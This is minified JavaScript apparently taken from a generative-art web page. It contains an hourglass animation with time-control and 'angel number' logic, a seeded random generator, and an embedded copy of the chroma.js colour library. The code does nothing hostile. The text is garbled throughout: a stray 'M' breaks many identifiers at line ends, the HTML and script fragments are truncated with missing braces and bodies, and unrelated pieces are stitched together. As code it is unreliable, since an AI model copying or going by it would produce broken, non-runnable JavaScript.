de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
